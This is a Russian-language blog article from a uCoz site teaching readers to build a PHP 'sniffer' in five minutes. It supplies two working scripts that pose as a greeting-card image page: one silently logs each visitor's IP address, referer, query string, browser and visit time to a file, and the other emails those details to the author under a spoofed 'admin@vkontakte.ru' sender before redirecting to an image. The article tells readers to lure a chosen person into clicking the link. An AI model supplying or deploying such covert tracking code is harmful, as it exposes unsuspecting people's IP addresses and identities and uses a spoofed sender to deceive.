компьютерная помощь
Четверг, 10.07.2025, 18:09
VIKS.UCOZ.NET
Главная Регистрация Вход
Приветствую Вас, Гость · RSS
Меню сайта
Категории раздела
Мои статьи [14]
Форма входа
Погода
Яндекс.Погода
 Каталог статей
Главная » Статьи » Мои статьи

Пишем свой снифер на PHP
Пишем свой снифер на PHP за 5 минут
пишет в файл log.txt  ip,время, дату, версию браузера пользователя зашедшего на сайт

1)регистрируете новый сайт на любом из бесплатных хостингов с поддержкой php скриптов

можно на этих:
www.webservis.ru
www.wallst.ru
http://hut.ru/
http://www.zerver.ru/
http://www.holm.ru/

далее вам на почту указаную при регистрации приходит письмо со всеми данными вашего сайта
в том числе логин и пароль от ftp

заливаем в папку public_html открытку которую будут видеть пользователи

далее создаете файл например 123.php
вот с таким содержимым:   незабудте указать ссылку на вашу открытку в самом низу



$ip = getenv("REMOTE_ADDR");
$rhost = getenv("HTTP_REFERER");
$input = getenv("QUERY_STRING");
$Browser = getenv("HTTP_USER_AGENT");
$date=(date("d.m.y"));
$time=(date("H:i"));
$fp = @fopen("log.txt", "a+");
@fputs($fp, "Дата: [ $date ] [Время:  $time ] [IP: $ip] Хост: [ $rhost ] Инфа: [ $input ] Браузер: $Browser\n");
fwrite($fp,"\n$c\n");
@fclose($fp);
?>
<p>
<center><img border="0" src="http://viks.bos.ru/i-3.jpg" width="375" height="500"><center></p>




заливаете его на свой сайт в папку public_html
устанавливаете ему права 755

2) создаете файл log.txt и заливаете его тудаже устанавливаете права 666

ну вот и все теперь вам достаточно чтобы человек прошел по вашей ссылке
которая выглядит примерно так http://vasay.bos.ru/123.php

и он увидит вашу картинку которую вы предварительно туда залили
а информация об нем запишется в файл log.txt    ip, версия браузера, время захода.
===============================================================  
а этот снифер будет отправлять вам логи на email : заливать его лучше на http://hut.ru/ в папку cgi-bin
выставить права на нем 755 тогда логи гарантировано приходят.

$from = "admin@vkontakte.ru"; // От кого письмо
 $email2 = "user@mail.ru"; // Кому письмо
 $topic = "У ВАС ГОСТЬ!!!"; // Тема письма
 $ip = getenv("REMOTE_ADDR");
 $rhost = getenv("HTTP_REFERER");
 $input = getenv("QUERY_STRING");
 $Browser = getenv("HTTP_USER_AGENT");
 $date=(date("d.m.y"));
 $time=(date("H:i"));
 $message = ( "( Дата =  $date )...( Время =  $time )...( IP = $ip )... [ Хост: $rhost ] = [Инфа:  $input ] Браузер: $Browser\n");
 mail("$email2","$topic","$message","From: $from \r\n");
 header('Location: loh.gif'); //Ссылку картанку
?>


Категория: Мои статьи | Добавил: grey (30.10.2010)
Просмотров: 3530 | Комментарии: 1 | Рейтинг: 0.0/0
Всего комментариев: 1
1 bruiweeruddit  
0
Вы не правы)
Но так бывает. Не обижайтесь.

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Copyright MyCorp © 2025
Ваш ip
Узнай свой IP адрес

Статистика
Зарег. на сайте
Всего: 76
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них
Администраторов: 2
Модераторов: 0
Проверенных: 0
Обычных юзеров: 74
Из них
Парней: 66
Девушек: 10

Онлайн всего: 1
Гостей: 1
Пользователей: 0




Хостинг от uCoz